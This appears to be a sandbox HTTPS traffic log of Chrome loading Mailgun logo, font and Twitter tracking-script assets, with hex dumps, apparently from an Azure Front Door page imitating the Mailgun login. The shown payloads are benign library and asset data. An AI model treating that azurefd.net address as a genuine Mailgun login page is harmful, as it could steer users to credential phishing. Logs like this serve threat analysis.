2024-07-03 12:38:45 UTC	639	OUT	GET /login/static/logo-mailgun-sinch.svg HTTP/1.1 Host: login.mailgun.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	437	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=logo-mailgun-sinch.svg Content-Length: 5260 Content-Type: image/svg+xml; charset=utf-8 Date: Wed, 03 Jul 2024 12:38:45 GMT Etag: "1718130172.0-5260-3523617926" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:45 UTC	742	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 33 39 37 22 20 68 65 69 67 68 74 3d 22 31 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 39 37 20 31 31 36 22 3e 0a 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 65 62 35 34 35 34 3b 7d 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 6d 31 32 38 2e 34 34 2c 39 36 76 2d 35 36 68 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg id="Layer_1" xmlns="http://www.w3.org/2000/svg" width="397" height="116" viewBox="0 0 397 116"> <defs> <style>.cls-1{fill:none;}.cls-2{fill:#eb5454;}</style> </defs> <path d="m128.44,96v-56h1
2024-07-03 12:38:45 UTC	2358	IN	Data Raw: 2e 34 31 2c 31 33 2e 33 36 2c 34 2e 32 34 2c 33 2e 32 35 2c 32 2e 38 33 2c 34 2e 38 38 2c 36 2e 38 33 2c 34 2e 38 38 2c 31 32 76 32 34 2e 34 68 2d 38 2e 37 32 6c 2d 2e 39 36 2d 36 2e 34 63 2d 31 2e 31 37 2c 32 2e 31 33 2d 32 2e 38 31 2c 33 2e 38 39 2d 34 2e 39 32 2c 35 2e 32 38 2d 32 2e 31 31 2c 31 2e 33 39 2d 34 2e 38 31 2c 32 2e 30 38 2d 38 2e 31 32 2c 32 2e 30 38 5a 6d 32 2e 33 32 2d 38 63 32 2e 39 33 2c 30 2c 35 2e 32 31 2d 2e 39 36 2c 36 2e 38 34 2d 32 2e 38 38 2c 31 2e 36 33 2d 31 2e 39 32 2c 32 2e 36 35 2d 34 2e 32 39 2c 33 2e 30 38 2d 37 2e 31 32 68 2d 38 2e 37 32 63 2d 32 2e 37 32 2c 30 2d 34 2e 36 37 2e 34 39 2d 35 2e 38 34 2c 31 2e 34 38 2d 31 2e 31 37 2e 39 39 2d 31 2e 37 36 2c 32 2e 32 2d 31 2e 37 36 2c 33 2e 36 34 2c 30 2c 31 2e 35 35 2e 35 Data Ascii: .41,13.36,4.24,3.25,2.83,4.88,6.83,4.88,12v24.4h-8.72l-.96-6.4c-1.17,2.13-2.81,3.89-4.92,5.28-2.11,1.39-4.81,2.08-8.12,2.08Zm2.32-8c2.93,0,5.21-.96,6.84-2.88,1.63-1.92,2.65-4.29,3.08-7.12h-8.72c-2.72,0-4.67.49-5.84,1.48-1.17.99-1.76,2.2-1.76,3.64,0,1.55.5
2024-07-03 12:38:45 UTC	559	IN	Data Raw: 31 2d 2e 37 34 73 2d 31 2e 39 37 2d 31 2e 32 2d 32 2e 36 2d 32 2e 31 33 2d 2e 39 36 2d 32 2e 30 35 2d 2e 39 38 2d 33 2e 33 37 68 33 2e 37 38 63 2e 30 34 2e 39 32 2e 33 37 2c 31 2e 36 38 2e 39 39 2c 32 2e 33 31 73 31 2e 34 39 2e 39 34 2c 32 2e 35 39 2e 39 34 63 2e 39 35 2c 30 2c 31 2e 37 31 2d 2e 32 33 2c 32 2e 32 37 2d 2e 36 39 2e 35 36 2d 2e 34 36 2e 38 34 2d 31 2e 30 37 2e 38 34 2d 31 2e 38 33 73 2d 2e 32 35 2d 31 2e 34 33 2d 2e 37 34 2d 31 2e 38 38 63 2d 2e 34 39 2d 2e 34 35 2d 31 2e 31 35 2d 2e 38 31 2d 31 2e 39 37 2d 31 2e 30 39 73 2d 31 2e 37 2d 2e 35 38 2d 32 2e 36 33 2d 2e 39 63 2d 31 2e 35 31 2d 2e 35 32 2d 32 2e 36 37 2d 31 2e 31 39 2d 33 2e 34 36 2d 32 2e 30 32 2d 2e 37 39 2d 2e 38 32 2d 31 2e 31 39 2d 31 2e 39 31 2d 31 2e 31 39 2d 33 2e 32 38 Data Ascii: 1-.74s-1.97-1.2-2.6-2.13-.96-2.05-.98-3.37h3.78c.04.92.37,1.68.99,2.31s1.49.94,2.59.94c.95,0,1.71-.23,2.27-.69.56-.46.84-1.07.84-1.83s-.25-1.43-.74-1.88c-.49-.45-1.15-.81-1.97-1.09s-1.7-.58-2.63-.9c-1.51-.52-2.67-1.19-3.46-2.02-.79-.82-1.19-1.91-1.19-3.28
2024-07-03 12:38:45 UTC	1601	IN	Data Raw: 36 36 2c 31 2e 31 38 2e 38 2e 34 35 2c 31 2e 34 35 2c 31 2e 30 34 2c 31 2e 39 33 2c 31 2e 37 38 2e 34 39 2e 37 34 2e 37 33 2c 31 2e 36 38 2e 37 33 2c 32 2e 38 34 2c 30 2c 31 2e 30 33 2d 2e 32 36 2c 31 2e 39 38 2d 2e 37 38 2c 32 2e 38 36 2d 2e 35 32 2e 38 38 2d 31 2e 33 2c 31 2e 35 38 2d 32 2e 33 32 2c 32 2e 31 31 2d 31 2e 30 33 2e 35 33 2d 32 2e 32 39 2e 38 2d 33 2e 37 38 2e 38 5a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 6d 31 35 31 2e 32 32 2c 32 37 2e 38 56 38 2e 32 68 33 2e 35 38 76 31 39 2e 36 68 2d 33 2e 35 38 5a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 6d 31 36 34 2e 32 31 2c 32 37 2e 38 56 38 2e 32 68 33 2e 35 38 6c 39 2e 32 31 2c 31 33 2e 38 76 2d 31 33 2e 38 68 33 2e 35 38 76 31 39 2e 36 68 2d 33 2e 35 38 6c 2d 39 2e 32 31 2d Data Ascii: 66,1.18.8.45,1.45,1.04,1.93,1.78.49.74.73,1.68.73,2.84,0,1.03-.26,1.98-.78,2.86-.52.88-1.3,1.58-2.32,2.11-1.03.53-2.29.8-3.78.8Z"/> <path d="m151.22,27.8V8.2h3.58v19.6h-3.58Z"/> <path d="m164.21,27.8V8.2h3.58l9.21,13.8v-13.8h3.58v19.6h-3.58l-9.21-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49734	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:45 UTC	646	OUT	GET /login/static/roboto-v27-latin-regular.woff HTTP/1.1 Host: login.mailgun.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://login.mailgun.com/login/static/style.css?v=1.0.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	427	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=roboto-v27-latin-regular.woff Content-Length: 20332 Content-Type: font/woff Date: Wed, 03 Jul 2024 12:38:45 GMT Etag: "1718130172.0-20332-3578734304" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:45 UTC	752	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 4f 6c 00 12 00 00 00 00 8d 78 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 01 94 00 00 00 47 00 00 00 64 05 91 05 c0 47 50 4f 53 00 00 01 dc 00 00 05 e1 00 00 0c e4 cf 03 f6 21 47 53 55 42 00 00 07 c0 00 00 01 89 00 00 02 de fc d1 f3 da 4f 53 2f 32 00 00 09 4c 00 00 00 50 00 00 00 60 74 9a 01 a8 63 6d 61 70 00 00 09 9c 00 00 01 18 00 00 01 a0 08 e8 2e 23 63 76 74 20 00 00 0a b4 00 00 00 54 00 00 00 54 2b a8 07 9d 66 70 67 6d 00 00 0b 08 00 00 01 35 00 00 01 bc 77 f8 60 ab 67 61 73 70 00 00 0c 40 00 00 00 0c 00 00 00 0c 00 08 00 13 67 6c 79 66 00 00 0c 4c 00 00 3b d0 00 00 6d 80 26 ff 78 a3 68 64 6d 78 00 00 48 1c 00 00 00 6d 00 00 01 10 27 2f 1b 2f 68 65 61 64 00 00 48 8c 00 00 00 Data Ascii: wOFFOlxGDEFGdGPOS!GSUBOS/2LP`tcmap.#cvt TT+fpgm5w`gasp@glyfL;m&xhdmxHm'//headH
2024-07-03 12:38:45 UTC	2358	IN	Data Raw: b3 85 ad 6c 63 3b 3b d8 c9 33 3c cb 73 3c cf 2e f6 d3 48 13 69 32 b4 d1 4e 07 9d 74 d1 cd 29 4e 73 86 b3 9c 23 60 bc ed 22 d6 ad 29 dd 5b ae 9b 87 b2 5f 06 54 d8 c5 54 91 b0 a1 94 cb 2b 6c 16 95 3d a7 19 4f 8a bb ed 00 f7 5a 0b d5 b2 46 d6 c9 e9 72 a6 9c 65 4d cc b5 66 e6 59 86 85 f2 1b 9a 2d d1 fe e5 72 a5 5c af 73 36 c8 8d 72 93 dc 2c b7 c8 03 3a f3 a0 3c 24 0f cb 23 f2 a8 6c d0 fe 46 d9 24 d3 32 23 db 65 87 ec 94 5d b2 5b 1e d3 9d c7 e5 09 79 52 9e d2 dd a7 65 c0 7c 7b d4 fb 4f 08 95 60 29 9f b1 55 e4 30 de 9e 65 a2 35 30 c9 5a 99 62 fb d9 2f 63 4d ff a0 69 9b 26 4f b0 5f e6 13 2b 9d 59 f6 57 ed df c4 3b 7a fe c1 c7 ed 6a 9d 70 1f 5f b4 6f f2 15 5b 43 4c 09 29 6e 27 a9 55 47 78 0d 15 3e 29 d3 a4 58 93 16 4d 4a fd f6 46 72 a9 b4 76 26 c8 dd 72 8f dc 2b Data Ascii: lc;;3<s<.Hi2Nt)Ns#`")[_TT+l=OZFreMfY-r\s6r,:<$#lF$2#e][yRe\|{O`)U0e50Zb/cMi&O_+YW;zjp_o[CL)n'UGx>)XMJFrv&r+
2024-07-03 12:38:45 UTC	559	IN	Data Raw: 8a 63 8d b8 ac 25 bb b5 d5 80 25 62 c9 06 c1 3a 21 f3 03 c3 fa 89 19 00 00 00 00 01 00 02 00 08 00 02 ff ff 00 0f 78 da 8c 59 07 58 53 c9 16 3e 67 6e 49 42 91 9b 84 10 3b 84 28 b1 a3 86 80 6e ef 96 2d f6 ba cf 5e f6 c3 2e ba 62 77 15 45 b1 b7 05 74 ad db 28 5b bc c9 56 f5 ad c2 b3 d7 8d bd 3e 14 d7 ed 6c 6f 16 32 bc 99 1b 30 b9 f8 da f7 c1 4c 66 72 33 f3 9f 7f 4e 9d 0b 12 8c 04 10 9a 49 2a 08 20 83 09 a2 20 06 26 fb a2 14 b3 d9 d2 51 8d 52 54 f0 f3 56 d6 5a 93 d6 46 fb 41 85 a7 fb ab 24 b9 81 97 34 7e 64 80 36 00 36 00 cb 23 03 7c 22 01 f6 4b 9f 14 ec 0c c1 ce a8 75 de 88 a8 df 7d 51 c1 99 68 ad 53 89 e2 ad 13 f5 7b db 76 0e 87 d9 21 98 11 cd 28 38 d0 83 0e a1 59 e0 21 b2 3f 95 fe 48 77 61 d4 4d 22 50 8a 24 10 90 d4 3b 6f 4a 86 c0 1c 92 79 d7 4c a6 07 06 Data Ascii: c%%b:!xYXS>gnIB;(n-^.bwEt([V>lo20Lfr3NI* &QRTVZFA$4~d66#\|"Ku}QhS{v!(8Y!?HwaM"P$;oJyL
2024-07-03 12:38:45 UTC	4523	IN	Data Raw: 6f 82 96 90 1e 94 df c4 04 33 d5 88 9c c8 06 89 5c 4a 92 68 e2 04 9b 14 35 ca cf 5b 85 b7 5e 2b 86 24 62 0a 54 2f 6c 98 a8 a8 f1 7e de 26 f1 d6 db 3c f4 15 93 2b 25 c9 95 94 e4 49 49 4d f3 b8 6d 71 71 36 67 4a 92 33 51 b6 c5 c6 89 6c 10 2b 1b 6c 4e 0f fb da 1d 1b e7 6e 9f 2a f4 9f bf e1 dc be bd 05 af 16 ee fe 34 3b 23 73 ee 22 6c f7 4e 8f 63 9f ac df 75 66 e7 da ec ac 5c cc fc db 5c f7 e3 a7 b6 bf 79 3a f6 ca 55 7b c5 89 15 6f cf 9a 30 7a c6 88 cc 2d 63 8a 4e 5a f7 ee 35 7f 7d 70 59 ee 5c 00 09 d2 ab be 97 b2 a4 03 10 0d f5 21 09 52 a0 03 cc 0e ca 2b 30 11 85 1a 79 9d 6c e0 64 f2 72 1d 8a f0 ab 11 c9 5e b3 18 92 49 50 bc 75 c3 86 4e 45 6d e4 67 e7 ce 3e 78 5b 84 cd 37 52 bc ed 42 43 9f c7 a9 e9 a6 27 d9 97 26 38 f9 a7 b4 e4 b6 ed ac 29 a9 ee f6 71 36 26 Data Ascii: o3\Jh5[^+$bT/l~&<+%IIMmqq6gJ3Ql+lNn*4;#s"lNcuf\\y:U{o0z-cNZ5}pY\!R+0yldr^IPuNEmg>x[7RBC'&8)q6&
2024-07-03 12:38:45 UTC	5792	IN	Data Raw: 6c d6 24 19 d8 6c 30 11 f0 f0 db 0c 1b 76 14 1e bf 7b 55 68 5c f9 93 f0 d7 e6 cd ab c5 05 5b 56 f0 1d d7 d2 c3 24 52 7e 05 0c d0 04 18 66 d5 70 5f 8e 2d e8 14 9e 85 53 9e 61 93 c8 bd 7b e9 62 9c 21 7d 73 7b 7a be e1 53 be 52 b3 aa 2c a1 43 cd fb 0c 92 1c 6e 4f ec 87 5c 43 9a a9 64 a8 2a a9 b7 79 56 63 a2 87 31 4b db d7 a5 3d 8d c9 2a d1 89 a0 62 ad f4 de ca 6f 64 58 7a 61 c2 99 34 bb b4 54 7e e5 56 e7 7c 79 09 df f9 31 72 49 88 d5 2c c9 15 b2 24 9d c2 fb 7d 68 e0 26 c3 b7 91 b8 6f a8 ae 8d 8b f7 bc 8b 2d e7 61 8b 77 c4 dd b4 31 b9 10 68 0e 08 62 55 ba 90 0f 00 02 34 0c 5b e6 be 14 4b e2 d7 43 f9 95 e3 84 f5 79 79 5c 87 c5 cb 78 59 e6 bf 72 02 db c5 17 83 38 e8 de ab 32 54 82 37 55 1f c6 90 78 42 78 fa c7 b7 bf bc 95 d2 6b ec 67 49 a0 45 d1 0a e1 3b f1 05 Data Ascii: l$l0v{Uh\[V$R~fp_-Sa{b!}s{zSR,CnO\CdyVc1K=bodXza4T~V\|y1rI,$}h&o-aw1hbU4[KCyy\xYr82T7UxBxkgIE;
2024-07-03 12:38:45 UTC	6348	IN	Data Raw: 9a f3 9a 35 c4 29 f9 93 df 76 dc f4 12 9d 1e 2f 49 af 46 05 b9 9c d7 10 f5 8f e1 ec 8f 14 74 6a e2 94 b5 51 63 0b f8 19 1a 61 bf 1a 26 85 6a 0d 50 e7 5c b5 19 74 a8 8b f5 46 e5 d1 cb 0b 7a 9e 1a 7c fd 78 ff 63 91 51 ad 96 c5 67 66 a5 9e 1e 52 34 71 e8 87 e2 90 9b df 1f d9 96 7f bd 6b ec c8 d5 05 bd b6 c9 cd 1b 94 87 34 1f f1 42 5c c6 ba e5 fd 5f bc 31 70 44 a6 f2 11 08 d0 e7 c9 0f 9a 3c b1 0f e9 61 3c b4 87 2a 19 33 0f 83 1a 05 2d 6e d2 cf 36 f5 31 db 1a 92 8b 86 ce a4 06 1e 6d c3 0d 99 d9 e3 21 99 58 2c 93 50 7c 3c 6e 78 10 6b c3 e4 44 eb f1 60 84 93 40 f5 ee 24 76 b0 24 91 bb 93 6e 24 11 7f 23 94 57 01 8d 91 83 fb a1 de 1b 75 93 06 4a a3 79 b5 98 40 56 a5 14 62 d6 38 78 7d 91 b5 6e 9f 89 d1 85 fc 54 ba 50 22 01 b7 6b 7d 40 23 63 0e 51 58 e3 27 e5 71 41 Data Ascii: 5)v/IFtjQca&jP\tFz\|xcQgfR4qk4B\_1pD<a<*3-n61m!X,P\|<nxkD`@$v$n$#WuJy@Vb8x}nTP"k}@#cQX'qA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49738	146.75.120.157	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:46 UTC	555	OUT	GET /uwt.js HTTP/1.1 Host: static.ads-twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:46 UTC	543	IN	HTTP/1.1 200 OK Connection: close Content-Length: 57671 Last-Modified: Tue, 26 Mar 2024 20:58:07 GMT ETag: "bbbcf811d8437a575d796a4c1e5d4fad" x-amz-server-side-encryption: AES256 Cache-Control: no-cache Content-Type: application/javascript; charset=utf-8 Accept-Ranges: bytes Date: Wed, 03 Jul 2024 12:38:46 GMT X-Served-By: cache-iad-kcgs7200117-IAD, cache-fra-etou8220120-FRA X-Cache: HIT, HIT Vary: Accept-Encoding,Host P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" x-tw-cdn: FT
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 36 31 37 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3b 74 2e 65 78 70 6f 72 74 73 3d 28 72 3d 72 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 26 26 28 72 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2e 63 72 79 70 74 6f 26 26 28 72 3d 73 65 6c 66 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 26 26 28 72 3d Data Ascii: !function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 74 68 69 73 2e 77 6f 72 64 73 3d 74 7c 7c 5b 5d 2c 74 68 69 73 2e 73 69 67 42 79 74 65 73 3d 6e 75 6c 6c 21 3d 65 3f 65 3a 34 2a 74 2e 6c 65 6e 67 74 68 7d 2c 74 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 7c 7c 66 29 2e 73 74 72 69 6e 67 69 66 79 28 74 68 69 73 29 7d 2c 63 6f 6e 63 61 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 77 6f 72 64 73 2c 6e 3d 74 2e 77 6f 72 64 73 2c 72 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 2c 69 3d 74 2e 73 69 67 42 79 74 65 73 3b 69 66 28 74 68 69 73 2e 63 6c 61 6d 70 28 29 2c 72 25 34 29 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 69 3b 6f 2b 2b 29 7b 76 61 72 20 61 3d 6e 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 72 2b 6f Data Ascii: this.words=t\|\|[],this.sigBytes=null!=e?e:4t.length},toString:function(t){return(t\|\|f).stringify(this)},concat:function(t){var e=this.words,n=t.words,r=this.sigBytes,i=t.sigBytes;if(this.clamp(),r%4)for(var o=0;o<i;o++){var a=n[o>>>2]>>>24-o%48&255;e[r+o
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 2e 70 61 72 73 65 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 7d 2c 70 3d 63 2e 42 75 66 66 65 72 65 64 42 6c 6f 63 6b 41 6c 67 6f 72 69 74 68 6d 3d 75 2e 65 78 74 65 6e 64 28 7b 72 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 64 61 74 61 3d 6e 65 77 20 73 2e 69 6e 69 74 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 3d 30 7d 2c 5f 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 68 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 Data Ascii: ion(t){return d.parse(unescape(encodeURIComponent(t)))}},p=c.BufferedBlockAlgorithm=u.extend({reset:function(){this._data=new s.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=h.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigByt
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 65 28 72 29 26 26 28 69 3c 38 26 26 28 63 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 75 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 31 2f 33 29 29 2c 69 2b 2b 29 2c 72 2b 2b 7d 28 29 3b 76 61 72 20 73 3d 5b 5d 2c 6c 3d 61 2e 53 48 41 32 35 36 3d 6f 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 69 2e 69 6e 69 74 28 63 2e 73 6c 69 63 65 28 30 29 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 72 3d 6e 5b 30 5d 2c 69 3d 6e 5b 31 5d 2c 6f 3d 6e 5b 32 5d 2c 61 3d 6e 5b 33 Data Ascii: r(var r=2,i=0;i<64;)e(r)&&(i<8&&(c[i]=n(t.pow(r,.5))),u[i]=n(t.pow(r,1/3)),i++),r++}();var s=[],l=a.SHA256=o.extend({_doReset:function(){this._hash=new i.init(c.slice(0))},_doProcessBlock:function(t,e){for(var n=this._hash.words,r=n[0],i=n[1],o=n[2],a=n[3
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 68 69 73 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 74 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 79 70 65 6f 66 20 74 2b 22 20 22 2b 74 2b 22 20 69 73 20 6e 6f 74 20 69 74 65 72 61 62 6c 65 28 63 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 79 20 53 79 6d 62 6f 6c 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 29 22 29 29 3b 76 61 72 20 72 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 3b 69 66 28 30 3d 3d 3d 72 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 28 5b 5d 29 3b 76 61 72 20 69 3d 72 2e 6c 65 6e 67 74 Data Ascii: r i=function(t){return new this((function(e,n){if(!t\|\|void 0===t.length)return n(new TypeError(typeof t+" "+t+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var r=Array.prototype.slice.call(t);if(0===r.length)return e([]);var i=r.lengt
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 76 6f 69 64 20 64 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 70 28 28 72 3d 6e 2c 69 3d 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 61 70 70 6c 79 28 69 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 74 29 7d 74 2e 5f 73 74 61 74 65 3d 31 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 63 61 74 63 68 28 65 29 7b 66 28 74 2c 65 29 7d 76 61 72 20 72 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 2c 65 29 7b 74 2e 5f 73 74 61 74 65 3d 32 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 74 29 7b 32 3d 3d 3d 74 2e 5f 73 74 61 74 65 26 26 30 3d 3d 3d 74 2e 5f 64 65 66 65 72 72 65 64 73 2e 6c 65 6e 67 74 68 26 26 75 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e Data Ascii: void d(t);if("function"==typeof n)return void p((r=n,i=e,function(){r.apply(i,arguments)}),t)}t._state=1,t._value=e,d(t)}catch(e){f(t,e)}var r,i}function f(t,e){t._state=2,t._value=e,d(t)}function d(t){2===t._state&&0===t._deferreds.length&&u._immediateFn
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 74 75 72 6e 20 6e 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 6e 28 74 29 7d 29 29 7d 2c 75 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 61 28 74 29 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 2e 72 61 63 65 20 61 63 63 65 70 74 73 20 61 6e 20 61 72 72 61 79 22 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 75 2e 72 65 73 6f 6c 76 65 28 74 5b 72 5d 29 2e 74 68 65 6e 28 65 2c 6e 29 7d 29 29 7d 2c 75 